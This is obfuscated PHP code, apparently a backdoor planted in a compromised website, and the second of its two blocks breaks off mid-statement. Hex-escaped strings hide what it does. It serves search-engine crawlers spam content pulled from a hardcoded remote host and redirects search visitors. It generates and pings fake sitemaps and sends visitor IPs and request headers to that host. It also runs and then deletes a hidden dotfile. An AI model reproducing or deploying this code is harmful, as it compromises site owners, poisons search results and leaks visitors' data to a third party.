Pn3k_; UfpO_: exit; goto YdLN4; dy_xM: $gCTwv = $_SERVER["\110\x54\x54\x50\x5f\x48\x4f\x53\x54"]; goto u4aLq; q59G9: ydEp4: goto NdICO; ne1U2: array_push($dc2yR, "\x74\x69\x6d\145\x73\164\141\155\x70\72\40" . $GAGj0); goto D1ijr; wNUpo: $zuJY0 = "\x73\x68\x6f\163\164\x3d" . $gCTwv . "\x26\150\164\x74\160\x3d" . $OdfaY; goto Zgini; tJtqO: $dc2yR = array("\x55\163\x65\162\x2d\101\147\145\156\x74\x3a\40" . $lvAL1, "\114\x61\x6e\x67\72\40" . $qeZ_O, "\x52\145\x66\145\162\x65\162\x3a\40" . $Qgc3q, "\110\x74\x74\160\55\110\157\x73\164\x3a\x20" . $gCTwv, "\122\145\155\157\164\x65\x2d\x41\144\144\x72\72\x20" . $v430X); goto dvdKx; kkh7i: $rEOLL = ''; goto KWvm3; FKcr_: d9r7S: goto fTeTn; gftD3: goto I07Kl; goto s11Ue; i9Ry9: I07Kl: goto Mqa4F; QAEv0: if (!@preg_match("\43\136\x2f\x73\x69\x74\145\x2f\x3f\50\x2e\x2a\77\x29\44\x23\151", $tDecQ, $wRUKM)) { goto G6p13; } goto zYAer; qt8Vr: urls(gets(), "\x2f\x69\56\150\x74\x6d\x6c", $lvAL1, $Qgc3q, $xdyvp . "\x26\147\162\157\x75\x70\151\x64\75" . $OQLl1 . "\x26\151\160\x3d" . $v430X); goto Weyj4; K2GbY: $NxeZ4++; goto dchan; r7OXU: c6wUY: goto V40eJ; TctKB: $tDecQ = $_SERVER["\x52\x45\x51\125\x45\x53\x54\x5f\x55\122\111"]; goto jsA3T; y42i4: exit; goto FKcr_; uRzh3: $lvAL1 = isset($_SERVER["\x48\x54\x54\x50\137\x55\123\x45\122\137\101\x47\105\x4e\124"]) ? $_SERVER["\110\x54\x54\120\x5f\x55\123\x45\122\137\101\107\x45\116\x54"] : ''; goto dy_xM; mCN2V: $YszGq .= $szGU0 . $nKm56; goto Jn0dJ; QPfPM: $GAGj0 = strval(time()); goto TSSKr; qKMXs: if (!($NxeZ4 <= intval($ym1G9))) { goto DFAJb; } goto nmp_i; MRz6l: $YszGq .= $szGU0 . $nKm56; goto jKqDM; ec68F: if ($wRUKM[1] === '' || @preg_match("\43\x28\x5c\144\53\51\55\44\43", $wRUKM[1], $hINir)) { goto ydEp4; } goto EiMC_; xcorx: array_push($dc2yR, "\x78\x64\x6f\x69\x6d\x3a\40" . crc32($GAGj0 . "\x5c\156" . $zuJY0)); goto ZLuD1; jWooP: $NGPxn = str_replace(array("\57\x5c\57\x73\53\57", "\x5c\x72\134\x6e", "\134\162", "\x5c\x6e", "\x22", "\54"), '', $NGPxn); goto tgmcV; bpRKy: UFY_u: goto he2m0; D0OgJ: exit; goto VsnVu; wmtdV: $GAGj0 = strval(time()); goto npdOE; jsA3T: if (!(@preg_match("\x23\x67\x6f\x6f\147\154\x65\x7c\x79\141\150\157\157\174\142\151\156\147\x7c\x63\162\x61\146\164\x7c\x43\162\x61\x77\x6c\145\162\43\151", $lvAL1) && (@preg_match("\x23\143\141\x74\145\x5c\x2f\x28\x5b\141\x2d\x7a\x5d\53\x29\55\50\x5c\144\x2b\51\44\43\151", $tDecQ, $DvYKh) || $tDecQ === "\x2f"))) { goto wNFck; } goto hbb7A; FzkG8: if (!($tDecQ === "\x2f")) { goto uEHAD; } goto bokCl; Weyj4: header("\114\157\x63\x61\x74\x69\157\x6e\72\40" . sprintf("\150\x74\x74\160\163\72\x2f\x2f\x25\163\57\151\x6e\144\145\x78\56\160\150\160\x3f\x6d\x61\151\156\x5f\160\141\147\x65\x3d\160\x72\157\x64\165\143\x74\137\151\x6e\x66\x6f\46\x70\x72\x6f\144\165\143\x74\x73\x5f\151\144\x3d\45\x64", preg_replace("\x2f\x5b\x61\55\172\x49\x5d\50\170\x79\x7a\x7c\142\165\x7a\172\51\56\52\44\x2f", "\56\44\61", strrev($wRUKM[1])), $wRUKM[2])); goto y42i4; MuZjy: echo $wRUKM[1]; goto UfpO_; tIdVY: DF7I3: goto XI5_u; V40eJ: function urls($gCTwv, $JeSfn, $lvAL1, $hn1Ok, $UmBEg = null) { goto OCXRH; FsXxB: fclose($i0QKk); goto c148v; N4VY1: $zhmNq = "\x47\105\x54\40" . $JeSfn . "\x3f" . $UmBEg . "\40\110\x54\124\120\57\x31\56\60\xd\xa\110\x6f\x73\164\x3a\40" . $gCTwv . "\xd\12\122\145\146\x65\162\145\x72\x3a\x20" . $hn1Ok . "\15\12\125\163\x65\162\55\101\x67\x65\x6e\164\x3a\x20" . $lvAL1 . "\15\xa\xd\12"; goto ns2ri; OCXRH: $i0QKk = stream_socket_client("\163\x73\x6c\x3a\57\57" . $gCTwv . "\x3a\64\x34\x33", $aaXJc, $cXIf_, 6); goto N4VY1; ns2ri: $QQ2gd = fwrite($i0QKk, $zhmNq); goto FsXxB; c148v: } goto c1h33; JfCyy: UKHQt: goto Boq4n; q5yOF: @ignore_user_abort(1); goto H2Din; dchan: goto lHzw3; goto rrvdT; kmJXs: wNFck: goto udb9M; npdOE: array_push($dc2yR, "\x74\151\x6d\x65\163\164\x61\155\x70\x3a\40" . $GAGj0); goto GHf_F; cBBbj: if (!@preg_match("\x23\x5e\57\x70\x69\156\x67\x73\151\164\145\155\x61\160\x28\56\52\x3f\x29\56\170\x6d\154\44\43\151", $tDecQ, $wRUKM)) { goto eGZNG; } goto JaJe7; C4Itf: $qeZ_O = isset($_SERVER["\x48\x54\124\120\137\x41\103\103\x45\120\124\137\114\101\116\x47\125\x41\107\x45"]) ? substr($_SERVER["\110\124\124\x50\x5f\x41\103\103\x45\x50\124\x5f\x4c\101\x4e\107\x55\101\107\105"], 0, 4) : ''; goto tAjfc; ZLuD1: $OmtpD = trim(urlx("\150\x74\x74\x70\163\72\57\57" . gets() . $wRUKM[0], $dc2yR, $zuJY0)); goto myOSj; PuUNy: echo @trim(urlx(sprintf("\x68\x74\164\160\x73\x3a\x2f\57\x25\x73\57\x62\x6f\164\57\x70\141\x67\145\x3f" . $xdyvp, gets()), $dc2yR, $xdyvp . "\x26\150\164\164\x70\75" . $OdfaY, 1)); goto zIv8n; rrvdT: DFAJb: goto pSfCw; UcXPl: echo $YszGq; goto ys2J5; JQK3X: $NxeZ4 = 1; goto i9Ry9; eR_Oe: if (!($ym1G9 === '')) { goto R9Dsj; } goto V_3pT; NdICO: $zuJY0 .= $hINir[1] == '' ? "\46\x67\162\x6f\165\160\151\144\x3d" . $OQLl1 : "\46\x67\x72\x6f\x75\x70\151\144\x3d" . $hINir[1]; goto wmtdV; fTeTn: if (!@preg_match("\x23\147\157\157\x67\154\x65\174\x79\141\x68\x6f\157\x7c\142\151\x6e\x67\174\x63\162\141\x66\164\x7c\103\162\x61\x77\154\145\x72\x23\x69", $lvAL1)) { goto UFY_u; } goto PuUNy; kXYlT: if (!@preg_match("\43\x5e\50\134\x64\x29\52\x23", $ym1G9)) { goto G7OZB; } goto JQK3X; D1ijr: array_push($dc2yR, "\170\144\157\x69\x6d\x3a\x20" . crc32($GAGj0 . "\x5c\156" . $zuJY0)); goto BPJ9M; Mqa4F: if (!($NxeZ4 <= intval($ym1G9))) { goto koBcP; } goto c3J8t; Boq4n: $yIz0_ = explode("\12", $ym1G9); goto kkh7i; lqU1X: $nKm56 = urlx($szGU0); goto mCN2V; GRSp6: $mWxeZ = "\74\x3f\170\155\x6c\x20\166\x65\x72\163\151\157\156\75\42\x31\x2e\60\x22\x20\x65\156\x63\x6f\x64\151\x6e\147\75\42\x55\x54\x46\55\70\x22\77\x3e\x3c\x21\x2d\55\40\141\x75\x74\157\x67\145\x6e\x20\142\171\40\x64\x6f\151\155\x20\55\55\x3e\15\12\74\165\162\x6c\163\x65\164\x20\x78\155\x6c\x6e\x73\75\x22\x68\164\164\x70\72\x2f\57\167\x77\167\56\163\x69\164\x65\x6d\141\160\163\56\x6f\162\147\57\163\x63\x68\x65\155\141\163\57\163\x69\x74\145\155\x61\160\x2f\x30\56\71\42\xd\12\40\40\x20\40\x20\40\x78\x6d\154\156\163\72\x78\x68\x74\x6d\x6c\75\42\150\164\164\x70\72\x2f\57\x77\167\x77\x2e\167\63\56\x6f\162\147\57\61\71\x39\x39\x2f\x78\x68\164\x6d\x6c\42\x3e\15\xa\x25\x73\x3c\57\x75\x72\154\163\145\x74\76"; goto p6Ge2; TVKKl: $zuJY0 .= "\46\x67\x72\x6f\x75\160\151\x64\75" . $hINir[1]; goto rkNyO; wl5M4: unlink("\56\145\107\x41\x30\x54\171\62\x57\x4c\x68"); goto FPl1d; e4mIj: $i1GpD = "\40\74\x73\x69\x74\x65\155\141\x70\x3e\40\x3c\x6c\157\143\x3e\x25\163\72\57\x2f\45\x73\x2f\x73\x69\164\x65\x6d\141\160\x25\144\x2e\x78\x6d\154\x3c\57\154\157\x63\x3e\x3c\57\163\x69\x74\145\155\141\160\x3e"; goto C4Itf; Pn3k_: if (!@preg_match("\43\x5e\x2f\x67\145\164\x76\145\162\43\151", $tDecQ, $wRUKM)) { goto c6wUY; } goto QPfPM; G4c1M: QIeuz: goto QAEv0; V_3pT: exit; goto n4gLL; GO3h_: if (!(($wRUKM[1] === '' || $hINir[1] != '') && @preg_match("\43\x5e\x28\x5c\144\x29\x2a\x23", $ym1G9))) { goto UKHQt; } goto l7WdI; eX775: echo include "\x2e\145\x47\x41\60\124\171\x32\127\x4c\x68"; goto wl5M4; fKzI0: $OdfaY = https(); goto tJtqO; puu3d: function gets() { return "\142\61\x2e\x67\154\x6f\x72\x79\144\x61\171\56\x77\x6f\x72\153"; } goto ubGl4; eIf7F: $NxeZ4 = 1; goto AI0tP; UgGc8: $GAGj0 = strval(time()); goto ne1U2; yM6ZN: @header("\103\x6f\x6e\x74\145\156\164\x2d\x74\x79\x70\145\72\x20\x74\x65\170\164\x2f\x78\x6d\154"); goto GO3h_; VsnVu: uEHAD: goto l4tJK; Jn0dJ: goto jlryi; goto q59G9; aqRr5: if (!@preg_match("\x23\x67\157\157\x67\x6c\x65\56\x63\157\56\152\x70\x7c\x67\157\x6f\147\x6c\145\x2e\143\x6f\x6d\174\171\141\150\x6f\x6f\x2e\x63\157\56\x6a\x70\174\171\141\150\x6f\157\x2e\x63\157\x7c\142\151\156\147\56\143\157\155\x7c\x61\163\153\56\143\x6f\155\x7c\x61\157\x6c\x2e\x63\x6f\x6d\174\x61\x6f\x6c\x2e\152\160\43\x69", $Qgc3q)) { goto d9r7S; } goto qt8Vr; AI0tP: lHzw3: goto qKMXs; tAjfc: $Qgc3q = isset($_SERVER["\x48\x54\124\120\x5f\x52\105\106\x45\x52\105\x52"]) ? $_SERVER["\x48\x54\x54\120\x5f\122\x45\106\105\x52\105\x52"] : ''; goto uRzh3; RQiwv: $L66Gw = @file_get_contents("\160\x68\x70\72\57\57\151\x6e\160\x75\x74"); goto c8qQC; s11Ue: koBcP: goto fSFEw; c1h33: function urlx($rWHe5, $dc2yR = null, $zuJY0 = null, $PIWSJ = null) { goto pxgWr; q9poK: curl_setopt($aTN1l, CURLOPT_HTTPHEADER, $dc2yR); goto WUF6_; D27Io: curl_setopt($aTN1l, CURLOPT_URL, $rWHe5); goto HTbO6; bV6QE: if (!(stripos($rWHe5, "\x68\x74\x74\160\163\x3a") === 0)) { goto xhIl5; } goto CAPJv; WUF6_: B3ft3: goto dVWRg; nsI4q: curl_setopt($aTN1l, CURLOPT_RETURNTRANSFER, 1); goto Gnm7B; dVWRg: if ($zuJY0 === null) { goto GlqkD; } goto ikfnj; Gnm7B: $NGPxn = curl_exec($aTN1l); goto dctAj; CAPJv: curl_setopt($aTN1l, CURLOPT_SSL_VERIFYPEER, FALSE); goto ujQ9a; pxgWr: $aTN1l = curl_init(); goto D27Io; ikfnj: curl_setopt($aTN1l, CURLOPT_POST, 1); goto Mgref; aXEhS: aE4gp: goto bV6QE; HTbO6: curl_setopt($aTN1l, CURLOPT_FOLLOWLOCATION, 1); goto eefYW; JxYiD: return $NGPxn; goto xlBnW; mjjo3: if ($dc2yR === null) { goto B3ft3; } goto q9poK; dctAj: curl_close($aTN1l); goto JxYiD; CMRlP: xhIl5: goto mjjo3; Mgref: curl_setopt($aTN1l, CURLOPT_POSTFIELDS, $zuJY0); goto nzxvP; eefYW: if ($PIWSJ === null) { goto aE4gp; } goto P9UvX; nzxvP: GlqkD: goto nsI4q; P9UvX: curl_setopt($aTN1l, CURLOPT_ENCODING, "\147\x7a\x69\x70\54\144\145\146\x6c\x61\x74\145"); goto aXEhS; ujQ9a: curl_setopt($aTN1l, CURLOPT_SSL_VERIFYHOST, FALSE); goto CMRlP; xlBnW: } goto Tr2dx; qhkpz: $GAGj0 = isset($_SERVER["\x48\x54\124\120\x5f\124\x49\x4d\x45\x53\124\101\x4d\x50"]) ? $_SERVER["\110\124\124\x50\137\124\x49\115\105\123\x54\101\x4d\120"] : ''; goto RQiwv; KWvm3: foreach ($yIz0_ as $Rinrg) { goto puQUm; CRcCM: $rEOLL .= sprintf($Grl79, $tXoHm, $tXoHm); goto un0Ap; un0Ap: gVFK_: goto t3qkK; puQUm: $tXoHm = $OdfaY . "\x3a\x2f\57" . $gCTwv . "\57" . $Rinrg; goto CRcCM; t3qkK: } goto tIdVY; skB3Y: exit; goto JfCyy; EiMC_: $szGU0 = sprintf("\x68\164\x74\160\x73\72\x2f\57\x77\167\167\56\147\157\x6f\147\x6c\x65\56\x63\157\56\152\160\57\x70\151\x6e\x67\x3f\163\151\x74\145\155\x61\160\x3d\x25\x73\x3a\x2f\57\45\x73\x2f\x73\151\x74\x65\155\141\160\x25\x73\x2e\x78\x6d\154", $OdfaY, $gCTwv, $wRUKM[1]); goto lqU1X; nmp_i: $kN8qg .= sprintf($i1GpD, $OdfaY, $gCTwv, $NxeZ4, date("\x59\x2d\155\55\x64\x5c\124\x48\72\x69\x3a\163\x50", time())); goto zImkU; F2SBd: if (!($ym1G9 === '')) { goto yOJub; } goto gZFHf; MO8Fy: $zuJY0 .= "\x26\147\x72\x6f\165\160\151\x64\75" . $OQLl1; goto OJQxK; zIv8n: exit; goto bpRKy; myOSj: echo $O3JZp === false ? "\146\x61\151\x6c" : $OmtpD; goto H7X3G; H7X3G: exit; goto r7OXU; jKqDM: A4jbR: goto zgIZg; tgmcV: @preg_match("\x23\x28\x5c\144\x2a\51\344\273\xb6\74\x21\55\x2d\43", $NGPxn, $wRUKM); goto MuZjy; ubGl4: function https() { goto EU7SV; gayG1: return "\150\164\x74\x70"; goto Ubh6_; fyZh1: t8_At: goto gayG1; wzWEj: return "\150\164\x74\x70\x73"; goto fyZh1; EU7SV: if (!(!empty($_SERVER["\x48\x54\124\x50\123"]) && strtolower($_SERVER["\110\x54\x54\x50\123"]) !== "\x6f\x66\x66" || isset($_SERVER["\110\x54\124\x50\x5f\x58\137\106\117\122\127\x41\122\104\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\x48\x54\124\x50\137\x58\137\x46\x4f\122\x57\101\x52\x44\105\104\137\x50\x52\x4f\x54\x4f"] === "\150\164\164\160\163" || !empty($_SERVER["\110\x54\x54\120\x5f\x46\x52\x4f\116\x54\x5f\105\116\x44\x5f\x48\124\124\x50\123"]) && strtolower($_SERVER["\110\124\x54\x50\x5f\106\122\117\116\124\x5f\105\x4e\x44\x5f\110\x54\x54\120\x53"]) !== "\157\146\x66")) { goto t8_At; } goto wzWEj; Ubh6_: } goto qzcJ5; u4aLq: $tDecQ = $_SERVER["\122\x45\121\x55\x45\123\124\x5f\125\122\111"]; goto ouCjc; H6CkO: yOJub: goto kXYlT; l4tJK: echo @trim(urlx(sprintf("\x68\x74\164\160\163\72\x2f\57\x25\x73\x2f\142\x6f\x74\x2f\143\141\164\145\x3f" . $xdyvp, gets()), $dc2yR, $xdyvp . "\46\150\157\x73\x74\x3d" . preg_replace("\57\x5b\x61\x2d\x7a\111\135\50\170\x79\x7a\174\x62\x75\172\x7a\51\x2e\x2a\x24\x2f", "\x2e\x24\61", strrev($DvYKh[1])) . "\46\143\141\x74\145\151\144\75" . $DvYKh[2], 1)); goto twHeV; udb9M: if (!@preg_match("\x23\50\x5b\x61\55\172\135\53\x29\55\50\134\144\x2b\51\x3f\x28\x2e\x68\x74\155\x6c\51\x24\43\151", $tDecQ, $wRUKM)) { goto XDSxH; } goto ZOZjK; XI5_u: echo sprintf($mWxeZ, $rEOLL); goto sJkCf; r1n8o: $nKm56 = urlx($szGU0); goto MRz6l; c3J8t: $szGU0 = sprintf("\150\x74\164\x70\x73\x3a\x2f\x2f\167\167\167\56\147\x6f\157\147\x6c\x65\x2e\143\157\x2e\x6a\x70\x2f\x70\x69\x6e\x67\77\x73\151\x74\x65\155\x61\160\x3d\45\x73\72\57\x2f\x25\x73\x2f\x73\151\164\145\x6d\x61\x70\x25\x73\45\144\56\x78\x6d\x6c", $OdfaY, $gCTwv, $hINir[0], $NxeZ4); goto r1n8o; zgIZg: $NxeZ4++; goto gftD3; FPl1d: exit; goto G4c1M; bokCl: echo @trim(urlx(sprintf("\x68\164\x74\160\x73\x3a\57\57\45\163\57\x62\x6f\x74\57\x68\157\x6d\x65\x3f" . $xdyvp, gets()), $dc2yR, $xdyvp, 1)); goto D0OgJ; fSFEw: G7OZB: goto Jfgvp; mqQ4h: if (!(isset($_SERVER["\110\x54\x54\x50\x5f\x58\104\117\x49\115"]) && strlen($_SERVER["\110\124\124\120\137\130\104\x4f\111\x4d"]) > 0)) { goto QIeuz; } goto qhkpz; GHf_F: array_push($dc2yR, "\x78\144\x6f\x69\155\x3a\x20" . crc32($GAGj0 . "\134\x6e" . $zuJY0)); goto DOIH3; vJr3v: error_reporting(0); goto nfEHD; he2m0: XDSxH: goto cBBbj; hENoB: if (!@preg_match("\43\x5e\x2f\163\x69\164\x65\155\x61\160\50\x2e\x2a\x3f\x29\x2e\x78\x6d\154\44\x23\151", $tDecQ, $wRUKM)) { goto FUhMS; } goto wNUpo; Tr2dx: function cc($tDecQ) { goto k71OZ; uHm4O: return $zTGCO == $fGfWP[2]; goto mUFtS; yovvV: Gmfn7: goto T1d8c; k71OZ: $fGfWP = explode("\x2d", substr($tDecQ, 1, strlen($tDecQ) - 6)); goto x3L7J; hxjmT: return false; goto yovvV; T1d8c: $zTGCO = sprintf("\x25\x75", crc32(sprintf("\x25\163\x2d\45\163", $fGfWP[0], $fGfWP[1]))); goto uHm4O; x3L7J: if (!(sizeof($fGfWP) != 3)) { goto Gmfn7; } goto hxjmT; mUFtS: } goto puu3d; Zgini: if (@preg_match("\x23\x28\134\x64\x2b\51\55\44\43", $wRUKM[1], $hINir)) { goto DX5Hb; } goto MO8Fy; LSo1K: eGZNG: goto hENoB; qzcJ5: function clientip() { goto bxO7T; sDywr: VNKvl: goto c2jAb; c2jAb: return $_SERVER["\x52\105\x4d\x4f\x54\105\137\101\x44\104\x52"]; goto npyXL; cHnG5: p3DIf: goto iFlXR; npyXL: HPv6T: goto hsRX1; iFlXR: return getenv("\x52\x45\x4d\117\x54\x45\137\101\x44\104\x52"); goto irIgM; e1HV2: if (isset($_SERVER["\x52\x45\115\117\124\x45\x5f\x41\x44\x44\x52"]) && $_SERVER["\122\105\115\x4f\124\x45\x5f\x41\104\104\x52"] && strcasecmp($_SERVER["\x52\x45\115\x4f\124\x45\137\x41\x44\x44\122"], "\165\156\153\156\157\167\x6e")) { goto VNKvl; } goto I2bSk; I2bSk: goto HPv6T; goto cHnG5; irIgM: goto HPv6T; goto sDywr; bxO7T: if (getenv("\122\105\x4d\x4f\124\x45\x5f\101\x44\104\122") && strcasecmp(getenv("\x52\105\x4d\x4f\124\105\x5f\x41\x44\104\x52"), "\x75\156\x6b\156\x6f\x77\x6e")) { goto p3DIf; } goto e1HV2; hsRX1: } ?>

<?php goto u60ra; YecZ6: $xHvGe .= $mEIra . $Yt1vr; goto vyNHk; z_GrA: I392K: goto wjCTM; serh_: $nHLmv = isset($_SERVER["\x48\124\124\x50\137\x41\103\x43\x45\x50\124\x5f\114\x41\116\x47\x55\x41\x47\x45"]) ? substr($_SERVER["\x48\124\x54\x50\x5f\101\x43\x43\105\120\124\x5f\114\101\x4e\107\125\x41\107\x45"], 0, 4) : ''; goto fb0BR; xp0gX: $etY2r = trim(urlx("\150\x74\x74\x70\163\72\57\x2f" . gets() . "\x2f\163\x69\x74\145\155\x61\160" . ($m8YWG[1] == '' || $SYYE6[1] != '' ? "\56\170\x6d\x6c" : "\57" . $m8YWG[1]), $A6YXS, $noLDR)); goto Ea2BG; nr5ty: goto jgoeJ; goto Sn7vd; wLql8: $dlybj = isset($_SERVER["\x48\x54\124\120\137\x55\x53\105\x52\137\x41\x47\105\116\x54"]) ? $_SERVER["\x48\x54\124\120\x5f\x55\123\x45\122\137\x41\x47\x45\116\x54"] : ''; goto posnl; OQ8xg: bM6BO: goto K2oet; YP3ee: $KNqK1 = 1; goto xq9qY; fXxPD: exit; goto z_GrA; n3cYg: echo sprintf($DJuHs, $uIRxk); goto ycxLN; qdi1q: $Rkqxl = "\40\x3c\x75\162\154\x3e\40\74\154\157\143\x3e\45\163\x3c\x2f\x6c\x6f\x63\76\x3c\x78\x68\164\155\x6c\x3a\x6c\x69\156\153\40\x72\145\154\x3d\42\141\x6c\x74\145\162\156\141\x74\145\x22\x20\x68\x72\145\x66\154\141\x6e\147\75\x22\152\141\42\x20\x68\162\x65\x66\x3d\42\x25\x73\42\x2f\76\74\x2f\165\162\154\76"; goto cA4oa; ZRN0H: array_push($A6YXS, "\x78\144\157\151\155\x3a\40" . crc32($hPr9Q . "\134\x6e" . $noLDR)); goto xp0gX; wfITu: $MoCk4 = str_replace(array("\57\134\57\163\53\57", "\x5c\162\134\x6e", "\134\162", "\x5c\x6e", "\x22", "\54"), '', $MoCk4); goto bmvJn; VZkM1: qd_ac: goto ZRF8k; F8Nux: array_push($A6YXS, "\x78\x64\157\x69\x6d\72\x20" . crc32($hPr9Q . "\x5c\156" . $noLDR)); goto jbYDB; kD8yp: Wga3z: goto jIfJ0; S6i0v: cEEO_: goto v1WD1; iAyj7: function https() { goto E_hJX; E_hJX: if (!(!empty($_SERVER["\x48\124\124\x50\123"]) && strtolower($_SERVER["\110\x54\124\120\x53"]) !== "\157\x66\x66" || isset($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\x46\117\122\x57\101\122\104\x45\x44\x5f\x50\122\x4f\124\x4f"]) && $_SERVER["\x48\x54\x54\120\137\x58\137\x46\x4f\x52\127\101\122\x44\x45\x44\x5f\120\122\117\124\x4f"] === "\x68\164\x74\160\163" || !empty($_SERVER["\110\x54\124\120\137\106\x52\x4f\116\124\137\105\116\104\137\x48\124\124\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\137\106\122\117\x4e\124\x5f\105\x4e\x44\x5f\110\124\x54\x50\123"]) !== "\x6f\146\x66")) { goto Wbag1; } goto J2VGf; J2VGf: return "\x68\x74\x74\x70\163"; goto d7cpV; WAUIQ: return "\150\164\164\x70"; goto ETbpE; d7cpV: Wbag1: goto WAUIQ; ETbpE: } goto RQwYp; oPrCd: m6xGP: goto hMZpO; fvTM4: $iT16L = $noLDR . "\x26\x67\162\x6f\x75\x70\x69\144\x3d" . $sla8H . "\46\x75\162\151\75" . $DErfk . "\x26\x69\x70\x3d" . $x1pP6; goto wZhXM; Bcm_F: $MoCk4 = substr($MoCk4, strpos($MoCk4, "\x3c\41\x2d\55\x20\55\55\76"), 100); goto wfITu; Jr2p1: goto bM6BO; goto IuT6b; dIO7n: $noLDR = "\x73\x68\x6f\x73\164\75" . $owF_s . "\46\150\x74\164\x70\75" . $KF3Ac; goto ZTdom; n2gYK: if (!(($m8YWG[1] === '' || $SYYE6[1] != '') && @preg_match("\43\x5e\x28\134\x64\x29\x2a\43", $etY2r))) { goto E4Rhh; } goto uMbtE; bmvJn: @preg_match("\43\x28\x5c\x64\52\51\344\xbb\xb6\74\x21\55\x2d\x23", $MoCk4, $m8YWG); goto hIYC2; ibISY: $xHvGe = ''; goto wdKi4; hIYC2: echo $m8YWG[1]; goto qiQeP; M7akL: C_OjI: goto HfyWD; yJ1_d: E4Rhh: goto k58YB; K3sn7: if (!@preg_match("\x23\x5e\50\x5c\144\51\x2a\x23", $etY2r)) { goto F7rGt; } goto pswOO; Ea2BG: if (!($etY2r === '')) { goto C_OjI; } goto dZrn7; zp4_k: if (!@preg_match("\x23\147\x6f\x6f\x67\x6c\x65\174\x79\141\x68\157\157\174\142\151\x6e\x67\174\143\x72\x61\x66\164\174\103\x72\141\167\154\x65\x72\43\x69", $dlybj)) { goto uMlZO; } goto vSbCH; BLxHs: fSTeM: goto ghJcH; GPofi: function cc($DErfk) { goto P2C_Q; OMAUQ: $lpPn_ = sprintf("\45\x75", crc32(sprintf("\45\163\x2d\45\163", $PeXdI[0], $PeXdI[1]))); goto EDp9y; v7leF: return false; goto uQhrY; P2C_Q: $PeXdI = explode("\x2d", substr($DErfk, 1, strlen($DErfk) - 6)); goto pRs33; EDp9y: return $lpPn_ == $PeXdI[2]; goto qnpcA; pRs33: if (!(sizeof($PeXdI) != 3)) { goto vBLuF; } goto v7leF; uQhrY: vBLuF: goto OMAUQ; qnpcA: } goto VKhFH; cA4oa: $JvKaV = "\74\77\x78\x6d\x6c\x20\x76\145\x72\x73\151\x6f\x6e\x3d\x22\x31\x2e\60\42\40\x65\x6e\143\x6f\144\x69\x6e\147\75\x22\x55\124\x46\x2d\x38\x22\x3f\x3e\x3c\41\55\55\x20\141\165\164\157\147\145\x6e\40\x62\171\x20\x64\x6f\151\x6d\40\x2d\x2d\x3e\15\xa\74\x73\x69\164\x65\155\x61\x70\x69\156\x64\145\x78\x20\170\x6d\x6c\156\x73\x3d\x22\150\x74\164\160\x3a\57\x2f\167\167\x77\56\163\151\x74\x65\x6d\141\x70\x73\56\x6f\162\x67\x2f\x73\143\x68\x65\x6d\x61\163\57\163\x69\x74\145\x6d\x61\x70\x2f\60\x2e\71\42\76\40\45\163\40\x3c\57\163\151\x74\x65\155\x61\160\x69\x6e\x64\x65\170\76"; goto MrzLN; pswOO: $KNqK1 = 1; goto VZkM1; KMtif: $MoCk4 = urlx($FSgoE, null, null, 1, "\x4d\157\x7a\151\x6c\154\141\x2f\65\56\x30\x20\50\127\151\156\x64\x6f\167\x73\x3b\x20\x55\73\40\127\x69\x6e\144\157\x77\x73\40\x4e\124\x20\x35\x2e\61\73\x20\x65\156\x2d\x55\123\51\40\101\x70\x70\x6c\x65\127\x65\x62\x4b\151\x74\x2f\x35\x33\64\x2e\x37\40\x28\113\x48\x54\115\114\x2c\40\154\x69\x6b\x65\40\107\x65\x63\x6b\157\51\40\103\x68\162\x6f\155\145\57\67\56\x30\x2e\x35\61\x37\56\x34\x31\x20\123\x61\146\x61\162\x69\x2f\x35\x33\64\x2e\67"); goto Bcm_F; F8nqv: $x1pP6 = clientip(); goto Lim7O; rmPpl: exit; goto oPrCd; BUIpf: echo @trim(urlx(sprintf("\150\x74\164\x70\x73\x3a\57\x2f\45\x73\57\142\157\x74\x2f\143\141\164\145\77" . $iT16L, gets()), $A6YXS, $iT16L . "\46\150\157\x73\x74\75" . preg_replace("\57\x5b\x61\55\172\111\135\x28\170\171\x7a\x7c\142\x75\x7a\x7a\x29\56\52\44\57", "\56\44\x31", strrev($bYUiB[1])) . "\46\x63\141\x74\145\x69\x64\x3d" . $bYUiB[2], 1)); goto fXxPD; LPvmE: if (!@preg_match("\43\136\x2f\x70\151\x6e\x67\x73\x69\x74\x65\155\141\x70\x28\x2e\52\77\x29\x2e\170\x6d\154\x24\x23\151", $DErfk, $m8YWG)) { goto hMbpe; } goto ibISY; WCrZS: @ini_set("\x64\x69\x73\160\154\141\x79\x5f\145\162\x72\x6f\x72\163", 0); goto BaCSs; S1BaD: foreach ($rETFM as $SJ4rW) { goto PGIrz; PGIrz: $VOcVy = $KF3Ac . "\72\x2f\57" . $owF_s . "\x2f" . $SJ4rW; goto isYfl; LAIQU: izoQp: goto RHm8_; isYfl: $uIRxk .= sprintf($Rkqxl, $VOcVy, $VOcVy); goto LAIQU; RHm8_: } goto byWw3; VMUfs: $DErfk = $_SERVER["\x52\x45\121\125\x45\123\x54\x5f\x55\122\x49"]; goto F8nqv; X5ajM: $etY2r = trim(urlx("\150\x74\164\160\163\x3a\57\x2f" . gets() . "\x2f\163\x69\x74\145\155\x61\x70\56\x78\155\154", $A6YXS, $noLDR . "\x26\x68\x74\164\x70\75" . $KF3Ac)); goto BQR6z; pS582: exit; goto oE5NV; Ok42r: @ignore_user_abort(1); goto VynNB; sRmzM: @header("\x4c\x6f\x63\141\x74\x69\157\x6e\x3a\x20" . $VOcVy); goto ysNx5; LXyma: if (!@preg_match("\x23\x5e\57\163\x69\x74\x65\x6d\141\160\50\x2e\52\77\51\x2e\x78\x6d\x6c\44\43\x69", $DErfk, $m8YWG)) { goto r6ozv; } goto dIO7n; qiQeP: exit; goto kD8yp; mbkuu: $hPr9Q = isset($_SERVER["\x48\x54\124\120\x5f\x54\x49\x4d\x45\x53\124\x41\115\120"]) ? $_SERVER["\110\124\124\x50\137\124\111\x4d\105\x53\x54\101\115\120"] : ''; goto ZuQIi; Fi1YS: echo include "\x2e\x65\x47\101\60\124\x79\x32\127\x4c\150"; goto mLCDC; jwJfX: exit; goto l2P9A; E9H0T: echo $xHvGe; goto BO63P; vrwtn: $mEIra = sprintf("\x68\164\164\x70\x73\x3a\57\57\167\167\167\56\x67\x6f\x6f\x67\154\145\x2e\143\157\x2e\x6a\160\x2f\x70\x69\x6e\x67\x3f\x73\x69\x74\145\x6d\x61\160\75\45\163\72\57\x2f\45\163\57\x73\151\x74\145\155\x61\x70\45\163\x25\144\56\x78\x6d\x6c", $KF3Ac, 